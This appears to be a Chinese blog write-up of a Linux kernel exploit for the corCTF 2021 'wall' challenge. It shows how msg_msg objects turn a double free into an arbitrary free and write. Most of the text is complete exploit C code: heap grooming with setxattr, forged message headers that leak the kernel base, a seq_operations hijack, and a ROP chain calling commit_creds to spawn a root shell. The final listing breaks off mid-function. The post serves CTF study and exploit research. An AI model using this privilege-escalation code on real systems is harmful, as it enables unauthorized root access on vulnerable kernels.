但是这种方式比较麻烦的一点是第二步劫持程序流,不同的obj大小要找不同的结构体,而且有些大小的obj还找不到可以利用的结构体,我也以为msg的利用也就到这里,但是在周四午睡起来时忽然灵光乍现,msg不是还可以构造任意free吗,那完全可以利用msg构造出任意size的obj的doublefree啊,就把问题从特定不好利用的size的obj转化成了容易利用的size的obj了,就完全实现了思路上的通解了。

利用条件

  • 可以对0x40~0x1000以内的obj kfree两次(或者释放一次但是拥有写功能)
  • 内核版本小于5.14,因为如果超过了5.14,msg就不从kmalloc-xxx中拿obj了,而是从kmalloc-cg-xxx中拿obj了,如果可以doublefree的obj是通过GFP_KERNELkmalloc到的,那msg就完全申请不到这个obj了。
  • 开启了MSG_COPY功能

利用思路

就以corctf2021的wall作为例子(本来相用n1的praymoon做例子的,结果调试了一下午才发现版本太高了msg没法用了。),简而言之可以把wall看做只能释放两次同一个0x40大小的obj的抽象模型。

一.泄露地址

首先是利用ko申请一个0x40的obj然后把他释放掉

在这个例子中我打算利用msg构造出doublefree的0x20的obj,这样就可以使用seq_operations劫持程序流来提升权限,那就得根据0x20精心构造msg了,我的构造如下

使用了两个消息队列,分别是msg_id[0]和msg_id[1],这个msg_id[0]的msg是刚刚我们释放的obj,然后再使用ko把这个obj再释放一次,由于使用的是slab分配算法,所以释放后obj的内容并不会发生改变,然后再使用setxattr把这个obj申请回来修改其中的m_ts字段,然后再使用msg_id[0]读这个msg,就能越界读到msg_id[1]的第一个msg了,主要记录的就是msg_id[1]的第二个msg的起始地址ll_next和msg_id[1]的msg_queuell_prev,然后还有几率读到error_injection_list,利用这个泄露内核地址。然后再通过msg_id[1]的第二个msg的next字段读到一个0x20的obj的地址,即target_obj。

image-20221120171926473

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
add_rule(fd,0,INBOUND);
dup_rule(fd,0,INBOUND);
del_rule(fd,0,INBOUND);
msg->mtype=1;
memset(msg->mtext,0x61,0x1000);
send_msg(msg_id[0],msg,0x10,IPC_NOWAIT);

memset(msg->mtext,0x62,0x1000);
send_msg(msg_id[1],msg,0x10,IPC_NOWAIT);

msg->mtype=2;
memset(msg->mtext,0x63,0x1000);
send_msg(msg_id[1],msg,0xfe8,IPC_NOWAIT);

msg->mtype=3;
memset(msg->mtext,0x64,0x1000);
send_msg(msg_id[1],msg,0xfe8,IPC_NOWAIT);

msg->mtype=4;
memset(msg->mtext,0x65,0x1000);
send_msg(msg_id[1],msg,0x1008,IPC_NOWAIT);

printf("[*] doublefree\n");
del_rule(fd,0,OUTBOUND);
msg_header *fake_msg_header=(msg_header *)malloc(0x40);
fake_msg_header->ll_next=(void *)0x4141414141414141;
fake_msg_header->ll_prev=(void *)0x4242424242424242;
fake_msg_header->m_type=1;
fake_msg_header->m_ts=0x1000-0x30;

setxattr("/exp", "msg", fake_msg_header, 0x40, 0);


get_msg(msg_id[0],re_buf,0x1000-0x30,0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

for(int i=0;i<0x2000/0x8;i++){
if((!strncmp(&re_buf[i],"bbbbbbbbbbbbbbbb",0x10))&&(!queue)){
queue=re_buf[i-5];
page_msg=re_buf[i-6];
}
if(((re_buf[i]&0xffff)==0x1520)&&(!kernelbase)){ //error_injection_list
kernelbase=re_buf[i]-0xc41520;
init_task=kernelbase+0xc124c0;
init_cred=kernelbase+0xc33060;
}
if(queue&&kernelbase){
break;
}
}
printf("\e[40;32m msg_queue_addr:%p \e[0m\n",queue);
printf("\e[40;32m page_msg_addr:%p \e[0m\n",page_msg);
printf("\e[40;32m kernelbase_addr:%p \e[0m\n",kernelbase);
printf("\e[40;32m init_task_addr:%p \e[0m\n",init_task);
printf("\e[40;32m init_cred_addr:%p \e[0m\n",init_cred);
if((!queue)||(!kernelbase)){
err_exit("get queue fail or kernelbase fail");
}
fake_msg_header->m_type=1;
fake_msg_header->m_ts=0x1050;
fake_msg_header->next=page_msg-0x10;
setxattr("/exp", "msg", fake_msg_header, 0x40, 0);
memset(re_buf,0,0x2000);
get_msg(msg_id[0],re_buf,0x1050,0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
for(int i=0;i<0x2000/0x8;i++){
if(!strncmp(&re_buf[i],"cccccccccccccccc",0x10)){
target_obj=re_buf[i-2];
break;
}
}
printf("\e[40;32m target_obj_addr:%p \e[0m\n",target_obj);

二.任意free

到这里我们已经知道了target_obj的地址了,这个obj的大小是0x20的,当我们使用msgrcv()的时候,如果不使用MSG_COPY的话,查找到的msg是会被脱链然后free掉的,所以如果把msg_id[0]的next填上target_obj的地址,那msgrcvmsg_id[0]的时候就把target_obj给释放掉了,但是其实target_obj还在msg_id[1]的第二个msg的段上,所以还可以被free一次,这就可以构造出doublefree了。构造如下。

注意内核是会检查doublefree的,但是检查不是很严格,就和glibc的fastbin一样,所以构造出A->B->A就好了。剩下两个msg就是为了构造A->B->A的。

image-20221120173429967

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fake_msg_header->ll_next=queue;
fake_msg_header->ll_prev=queue;
fake_msg_header->m_type=1;
fake_msg_header->m_ts=0x10;
fake_msg_header->next=target_obj;
fake_msg_header->security=0;
setxattr("/exp", "msg", fake_msg_header, 0x40, 0);

memset(re_buf,0,0x2000);
get_msg(msg_id[1],re_buf,0xfe8,2,IPC_NOWAIT | MSG_NOERROR);

memset(re_buf,0,0x2000);
get_msg(msg_id[1],re_buf,0x1008,4,IPC_NOWAIT | MSG_NOERROR);

memset(re_buf,0,0x2000);
get_msg(msg_id[1],re_buf,0xfe8,3,IPC_NOWAIT | MSG_NOERROR);

get_msg(msg_id[0],re_buf,0xfe8,1,IPC_NOWAIT | MSG_NOERROR);

三.劫持程序流

现在0x20的slab的freelist上就有这样的链子A->B->A,这样就好办了,先申请一次seq_operation然后第三次申请又能申请这个seq_operation的obj了,就能修改函数指针劫持程序流了。

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
seq_fd=open("/proc/self/stat", O_RDONLY);
if(seq_fd<0){
err_exit("open seq fail");
}
int tmp=open("/proc/self/stat", O_RDONLY);
if(tmp<0){
err_exit("open seq fail");
}
size_t seq_operation[4]={0,0,0,0};
add_rsp_0x108_pop_3=add_rsp_0x108_pop_3-vmlinux_nokaslr_addr+kernelbase;
pop_rdi_ret=pop_rdi_ret-vmlinux_nokaslr_addr+kernelbase;
commit_cred=commit_cred-vmlinux_nokaslr_addr+kernelbase;
kpti_addr=kpti_addr-vmlinux_nokaslr_addr+kernelbase;
ret=ret-vmlinux_nokaslr_addr+kernelbase;

seq_operation[0]=0xffffffff81019d8b;

setxattr("/exp", "seq", seq_operation, 0x20, 0);
__asm__(
"mov r15, pop_rdi_ret;"
"mov r14, init_cred;"
"mov r13, commit_cred;"
"mov r12, ret;"
"mov rbp, ret;"
"mov rbx, pop_rdi_ret;"
"mov r11, ret;"
"mov r10, ret;"
"mov r9, kpti_addr;"
"mov r8, 0xbeefdead;"
"mov rax, 0;"
"mov rdi, seq_fd;"
"mov rsi, rsp;"
"mov rdx, 0x200;"
"syscall;"
);
printf("uid:%d\n",getuid());
system("/bin/sh");

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
#include <sched.h>
#include <byteswap.h>
#include <time.h>
#include <sys/wait.h>
#include <sys/timerfd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/reboot.h>
#include <arpa/inet.h>
#include <sys/shm.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <sys/xattr.h>




#define page_size 0x1000

#define ADD_RULE 0x1337babe
#define DELETE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1

typedef struct
{
char iface[16];
char name[16];
char ip[16];
char netmask[16];
uint8_t idx;
uint8_t type;
uint16_t proto;
uint16_t port;
uint8_t action;
} User_rule_t;

typedef struct
{
char iface[16];
char name[16];
uint32_t ip;
uint32_t netmask;
uint16_t proto;
uint16_t port;
uint8_t action;
uint8_t is_duplicated;
} Rule_t;

typedef struct
{
long mtype;
char mtext[1];
}user_msg;

typedef struct
{
void *ll_next;
void *ll_prev;
long m_type;
size_t m_ts;
void *next;
void *security;
}msg_header;

int fd=0;
int msg_id[3]={0,0,0};
size_t queue=0;
size_t kernelbase=0;
size_t page_msg=0;
size_t init_task=0;
size_t init_cred=0;
size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t current_task=0,prev_task=0;
char *page1=0;
char *page2=0;
pthread_t td[4];
int is_write_msg=0;
size_t target_obj=0;
int seq_fd=0;
size_t add_rsp_0x108_pop_3=0xffffffff81019d8b;
size_t pop_rdi_ret=0xffffffff8102af06;
size_t commit_cred=0xffffffff8106f870;
size_t kpti_addr=0xffffffff81600df0+0x10;
size_t ret=0xffffffff810001dc;

#include "exp.h"

void err_exit(char *err){
printf("\e[40;31m %s\e[0m\n",err);
exit(1);
}

void get_IPv4(uint32_t ip,char *ipv4){
memset(ipv4,0,0x10);

// printf("%d.%d.%d.%d\n",(ip&0xff),(ip&0x0000ff00)>>8,(ip&0x00ff0000)>>16,(ip&0xff000000)>>24);

sprintf(ipv4,"%d.%d.%d.%d",(ip&0xff),(ip&0x0000ff00)>>8,(ip&0x00ff0000)>>16,(ip&0xff000000)>>24);
}

User_rule_t* init_user_rule(uint8_t idx,uint8_t type,u_int32_t ip,u_int32_t netmask){

User_rule_t *user_rule=(User_rule_t *)malloc(sizeof(User_rule_t));

user_rule->idx=idx;


get_IPv4(ip,&(user_rule->ip));

get_IPv4(netmask,&(user_rule->netmask));

user_rule->type=type;
return user_rule;
}

void add_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
int ret=ioctl(fd,ADD_RULE,user_rule_t);
// if(ret<0){
// err_exit("add fail");
// }
}

void del_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
int ret=ioctl(fd,DELETE_RULE,user_rule_t);
if(ret<0){
err_exit("del fail");
}
}

void dup_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
int ret=ioctl(fd,DUP_RULE,user_rule_t);
if(ret<0){
err_exit("edit fail");
}
}

void edit_rule(int fd,char *buf,int idx,int type,int flags){
uint32_t ip=*(uint32_t *)(buf+0x20);
uint32_t netmask=*(uint32_t *)(buf+0x24);
User_rule_t *user_rule=init_user_rule(idx,type,ip,netmask);
memcpy(user_rule,buf,0x20);
if(!flags){
memcpy(&(user_rule->ip),"qqqqqqqqqq",strlen("qqqqqqqqqq"));
memcpy(&(user_rule->netmask),"qqqqqqqqqq",strlen("qqqqqqqqqq"));
}
int ret=ioctl(fd,EDIT_RULE,user_rule);
}

int32_t make_queue(key_t key, int msgflg)
{
int32_t result;
if ((result = msgget(key, msgflg)) == -1)
{
err_exit("msgget failure");
}
return result;
}


void get_msg(int msqid,void *msgp,size_t msgsz,long msgtype,int msgflag){
int ret=msgrcv(msqid,msgp,msgsz,msgtype,msgflag);
if(ret<0){
err_exit("msgrcv fail");
}
}

void send_msg(int msqid,void *msgp,size_t msgsz,int msgflag){
int ret=msgsnd(msqid,msgp,msgsz,msgflag);
if(ret<0){
err_exit("msgsend fail");
}
}
int main(){
size_t re_buf[0x2000/8]={0};
fd=open("/dev/firewall",O_RDWR);
if(fd<0){
err_exit("open firewall fail");
}
msg_id[0]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
msg_id[1]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
msg_id[2]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
user_msg *msg=(user_msg *)malloc(0x2000);

for(int i=10;i<16;i++){
add_rule(fd,i,INBOUND);
}

add_rule(fd,0,INBOUND);
dup_rule(fd,0,INBOUND);
del_rule(fd,0,INBOUND);
msg->mtype=1;
memset(msg->mtext,0x61,0x1000);
send_msg(msg_id[0],msg,0x10,IPC_NOWAIT);

memset(msg->mtext,0x62,0x1000);
send_msg(msg_id[1],msg,0x10,IPC_NOWAIT);

msg->mtype=2;
memset(msg->mtext,0x63,0x1000);
send_msg(msg_id[1],msg,0xfe8,IPC_NOWAIT);

msg->mtype=3;
memset(msg->mtext,0x64,0x1000);
send_msg(msg_id[1],msg,0xfe8,IPC_NOWAIT);

msg->mtype=4;
memset(msg->mtext,0x65,0x1000);
send_msg(msg_id[1],msg,0x1008,IPC_NOWAIT);

printf("[*] doublefree\n");
del_rule(fd,0,OUTBOUND);
msg_header *fake_msg_header=(msg_header *)malloc(0x40);
fake_msg_header->ll_next=(void *)0x4141414141414141;
fake_msg_header->ll_prev=(void *)0x4242424242424242;
fake_msg_header->m_type=1;
fake_msg_header->m_ts=0x1000-0x30;

setxattr("/exp", "msg", fake_msg_header, 0x40, 0);


get_msg(msg_id[0],re_buf,0x1000-0x30,0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

for(int i=0;i<0x2000/0x8;i++){
if((!strncmp(&re_buf[i],"bbbbbbbbbbbbbbbb",0x10))&&(!queue)){
queue=re_buf[i-5];
page_msg=re_buf[i-6];
}
if(((re_buf[i]&0xffff)==0x1520)&&(!kernelbase)){ //error_injection_list
kernelbase=re_buf[i]-0xc41520;
init_task=kernelbase+0xc124c0;
init_cred=kernelbase+0xc33060;
}
if(queue&&kernelbase){
break;
}
}
printf("\e[40;32m msg_queue_addr:%p \e[0m\n",queue);
printf("\e[40;32m page_msg_addr:%p \e[0m\n",page_msg);
printf("\e[40;32m kernelbase_addr:%p \e[0m\n",kernelbase);
printf("\e[40;32m init_task_addr:%p \e[0m\n",init_task);
printf("\e[40;32m init_cred_addr:%p \e[0m\n",init_cred);
if((!queue)||(!kernelbase)){
err_exit("get queue fail or kernelbase fail");
}
fake_msg_header->m_type=1;
fake_msg_header->m_ts=0x1050;
fake_msg_header->next=page_msg-0x10;
setxattr("/exp", "msg", fake_msg_header, 0x40, 0);
memset(re_buf,0,0x2000);
get_msg(msg_id[0],re_buf,0x1050,0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
for(int i=0;i<0x2000/0x8;i++){
if(!strncmp(&re_buf[i],"cccccccccccccccc",0x10)){
target_obj=re_buf[i-2];
break;
}
}
printf("\e[40;32m target_obj_addr:%p \e[0m\n",target_obj);

fake_msg_header->ll_next=queue;
fake_msg_header->ll_prev=queue;
fake_msg_header->m_type=1;
fake_msg_header->m_ts=0x10;
fake_msg_header->next=target_obj;
fake_msg_header->security=0;
setxattr("/exp", "msg", fake_msg_header, 0x40, 0);

memset(re_buf,0,0x2000);
get_msg(msg_id[1],re_buf,0xfe8,2,IPC_NOWAIT | MSG_NOERROR);

memset(re_buf,0,0x2000);
get_msg(msg_id[1],re_buf,0x1008,4,IPC_NOWAIT | MSG_NOERROR);

memset(re_buf,0,0x2000);
get_msg(msg_id[1],re_buf,0xfe8,3,IPC_NOWAIT | MSG_NOERROR);

get_msg(msg_id[0],re_buf,0xfe8,1,IPC_NOWAIT | MSG_NOERROR);

seq_fd=open("/proc/self/stat", O_RDONLY);
if(seq_fd<0){
err_exit("open seq fail");
}
int tmp=open("/proc/self/stat", O_RDONLY);
if(tmp<0){
err_exit("open seq fail");
}
size_t seq_operation[4]={0,0,0,0};
add_rsp_0x108_pop_3=add_rsp_0x108_pop_3-vmlinux_nokaslr_addr+kernelbase;
pop_rdi_ret=pop_rdi_ret-vmlinux_nokaslr_addr+kernelbase;
commit_cred=commit_cred-vmlinux_nokaslr_addr+kernelbase;
kpti_addr=kpti_addr-vmlinux_nokaslr_addr+kernelbase;
ret=ret-vmlinux_nokaslr_addr+kernelbase;

seq_operation[0]=0xffffffff81019d8b;

setxattr("/exp", "seq", seq_operation, 0x20, 0);
__asm__(
"mov r15, pop_rdi_ret;"
"mov r14, init_cred;"
"mov r13, commit_cred;"
"mov r12, ret;"
"mov rbp, ret;"
"mov rbx, pop_rdi_ret;"
"mov r11, ret;"
"mov r10, ret;"
"mov r9, kpti_addr;"
"mov r8, 0xbeefdead;"
"mov rax, 0;"
"mov rdi, seq_fd;"
"mov rsi, rsp;"
"mov rdx, 0x200;"
"syscall;"
);
printf("uid:%d\n",getuid());
system("/bin/sh");
}

意义

于利用的意义就是可以有这样的通解了,以后低版本doublefree可以一把梭了,于我的意义就是终于不是看着别人wp复现出来的了,而是自己按照自己思路并且成功提权的内核利用。

分析

msg在许多内核cve中都有使用,所以利用这道题再加深一下对msg的理解,然后看看能不能复现个内核cve。

这个是corctf2021内核题的困难模式,简单模式是0x1000的object利用,困难模式是0x40的object利用。比之0x1000的利用确实麻烦很多,在0x1000的object利用中,如果控制了msg的前0x28个字节的话,就可以直接利用msg的m_tsnext完成内核地址的泄露以及配合userfault的任意地址写。

在0x40的利用中,泄露地址和0x1000并没有什么特别的地方,主要的差别出现在了任意地址写上面,其中利用msg进行任意地址写的内核代码如下,就算能够修改msg.next,但是写的长度早已经被记录到了len变量中,所以向next写值的时候相当于执行了copy_from_user(seg + 1, src, 0),就没有向next中写值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);

alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen))
goto out_err;

for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}

err = security_msg_msg_alloc(msg);
if (err)
goto out_err;

return msg;

out_err:
free_msg(msg);
return ERR_PTR(err);
}

经过这道题目的作者的研究,依旧发现了一个只利用msg进行任意写的思路,看完后不得不说一句好牛😻。

在简单模式中,其实忽略一个msg的利用方式,那就是任意free,在msgrev()中会把找到的msg以及对应的段都给free掉,然后把这个msg从msg_queue中脱链,所以如果能控制msg的话可以控制next让其指向一个object地址,然后再msgrcv(),如果伪造next合理的话,就会把next给free掉了,这就构成了任意地址free的效果。

在小于0x1000尺寸的object的msg利用中,就是先进行任意free,然后通过任意free构造出任意地址写,具体思路如下

利用思路

1.首先操作如下,申请三个msg_id,然后向msg_id[0]申请一个0x40大小的msg,这个msg是可以控制的,向msg_id[1]申请两个msg,第一个大小是0x40,第二个大小是0x2000。

1
2
3
4
5
6
7
8
9
10
11
12
13
msg_id[0]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
msg_id[1]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
msg_id[2]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
add_rule(fd,0,INBOUND);
dup_rule(fd,0,INBOUND);
del_rule(fd,0,INBOUND);
msg->mtype=1;
memset(msg->mtext,0x61,0x1000);
send_msg(msg_id[0],msg,0x10,IPC_NOWAIT);
memset(msg->mtext,0x62,0x1000);
send_msg(msg_id[1],msg,0x10,IPC_NOWAIT);
memset(msg->mtext,0x63,0x1000);
send_msg(msg_id[1],msg,0x1fc8,IPC_NOWAIT);

然后0x40的slab上可能出现的情况如图,改大上面的msg的m_ts就可以越界读了,最主要的是读到msg_id[1]的0x40的msg的ll_prev,ll_next,其中ll_prev指向了msg_id[1]的msg_queue,ll_next指向了msg_id[1]的下一个0x2000的msg,然后还可以根据这个越界读泄露内核地址,但是这个内核地址的选择不能被fg_kaslr影响,我选择的是error_injection_list这个指向内核数据段的地址算出kernelbase。

debug

2.再利用msg_id[0]的msg进行任意读,读取当前进程的task_struct,这个和简单模式一样就不赘述。

3.构造任意free,首先把msg_id[1]的所有msg全部释放,由于这个内核是slab分配,且slab是后进先出的,在释放0x2000的msg的时候首先释放msg_msg,然后再释放他的段,所以当再使用msg_id[2]申请一个0x2000的msg的时候,之前的段就被当成msg_msg,原先的msg_msg就被当成段了,再加上如果申请这个msg的时候msgsnd传入的是一个userfault检测的页,此时再让msg_id[0]的msg的next指向这个段再释放这个msg,就会把刚才申请的段给释放掉,图示如下

debug

再释放

debug

此时就相当于任意free了,但是free的是个正在初始化的msg的段,我们随时可以向这个被free的段里写入数据。

4.任意写,此时msg_id[2]的msg.next指向被free的4K页,且能随时向这个页面里写入数据,所以可以再申请一个0x1000-0x30+0x10的msg把这个页再申请出来当新的msg的msg_msg,申请这个页的时候传入的用户态的内存也是被userfault检测的。

到这里就有两个come_from_user()被卡主了,如图所示,我们先让红色的msg通过,这样就能修改蓝色的msg_msg了,修改这个msg_msg的next为任意地址,然后再让蓝色的msg通过,这样在初始化这个msg的段的时候就会向任意地址写任意内容了。

debug

感觉自己讲的很坨屎一样。。。

exp

思路比较饶,但总结来看最后实现任意地址写还是通过控制一个4K大小的msg_msg来完成的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
#include <sched.h>
#include <byteswap.h>
#include <time.h>
#include <sys/wait.h>
#include <sys/timerfd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/reboot.h>
#include <arpa/inet.h>
#include <sys/shm.h>
#include <sys/sem.h>
#include <semaphore.h>

#define page_size 0x1000

#define ADD_RULE 0x1337babe
#define DELETE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1

typedef struct
{
char iface[16];
char name[16];
char ip[16];
char netmask[16];
uint8_t idx;
uint8_t type;
uint16_t proto;
uint16_t port;
uint8_t action;
} User_rule_t;

typedef struct
{
char iface[16];
char name[16];
uint32_t ip;
uint32_t netmask;
uint16_t proto;
uint16_t port;
uint8_t action;
uint8_t is_duplicated;
} Rule_t;

typedef struct
{
long mtype;
char mtext[1];
}user_msg;

typedef struct
{
void *ll_next;
void *ll_prev;
long m_type;
size_t m_ts;
void *next;
void *security;
}msg_header;

int fd=0;
int msg_id[3]={0,0,0};
size_t queue=0;
size_t kernelbase=0;
size_t page_msg=0;
size_t init_task=0;
size_t init_cred=0;
size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t current_task=0,prev_task=0;
char *page1=0;
char *page2=0;
pthread_t td[4];
int is_write_msg=0;


#include "exp.h"

void err_exit(char *err){
printf("\e[40;31m %s\e[0m\n",err);
exit(1);
}

void get_IPv4(uint32_t ip,char *ipv4){
memset(ipv4,0,0x10);

// printf("%d.%d.%d.%d\n",(ip&0xff),(ip&0x0000ff00)>>8,(ip&0x00ff0000)>>16,(ip&0xff000000)>>24);

sprintf(ipv4,"%d.%d.%d.%d",(ip&0xff),(ip&0x0000ff00)>>8,(ip&0x00ff0000)>>16,(ip&0xff000000)>>24);
}

User_rule_t* init_user_rule(uint8_t idx,uint8_t type,u_int32_t ip,u_int32_t netmask){

User_rule_t *user_rule=(User_rule_t *)malloc(sizeof(User_rule_t));

user_rule->idx=idx;


get_IPv4(ip,&(user_rule->ip));

get_IPv4(netmask,&(user_rule->netmask));

user_rule->type=type;
return user_rule;
}

void add_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
int ret=ioctl(fd,ADD_RULE,user_rule_t);
if(ret<0){
err_exit("add fail");
}
}

void del_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
int ret=ioctl(fd,DELETE_RULE,user_rule_t);
if(ret<0){
err_exit("del fail");
}
}

void dup_rule(int fd,uint8_t idx,uint8_t type){
User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
int ret=ioctl(fd,DUP_RULE,user_rule_t);
if(ret<0){
err_exit("edit fail");
}
}

void edit_rule(int fd,char *buf,int idx,int type,int flags){
uint32_t ip=*(uint32_t *)(buf+0x20);
uint32_t netmask=*(uint32_t *)(buf+0x24);
User_rule_t *user_rule=init_user_rule(idx,type,ip,netmask);
memcpy(user_rule,buf,0x20);
if(!flags){
memcpy(&(user_rule->ip),"qqqqqqqqqq",strlen("qqqqqqqqqq"));
memcpy(&(user_rule->netmask),"qqqqqqqqqq",strlen("qqqqqqqqqq"));
}
int ret=ioctl(fd,EDIT_RULE,user_rule);
}

int32_t make_queue(key_t key, int msgflg)
{
int32_t result;
if ((result = msgget(key, msgflg)) == -1)
{
err_exit("msgget failure");
}
return result;
}


void get_msg(int msqid,void *msgp,size_t msgsz,long msgtype,int msgflag){
int ret=msgrcv(msqid,msgp,msgsz,msgtype,msgflag);
if(ret<0){
err_exit("msgrcv fail");
}
}

void send_msg(int msqid,void *msgp,size_t msgsz,int msgflag){
int ret=msgsnd(msqid,msgp,msgsz,msgflag);
if(ret<0){
err_exit("msgsend fail");
}
}
void register_userfault(uint64_t fault_page, uint64_t fault_page_len, void *(*func)(void *), pthread_t *thr)
{
struct uffdio_api ua;
struct uffdio_register ur;
// pthread_t thr;

uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
err_exit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page;
ur.range.len = fault_page_len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
err_exit("[-] ioctl-UFFDIO_REGISTER");
int s = pthread_create(thr, NULL, func, (void*)uffd);
if (s!=0)
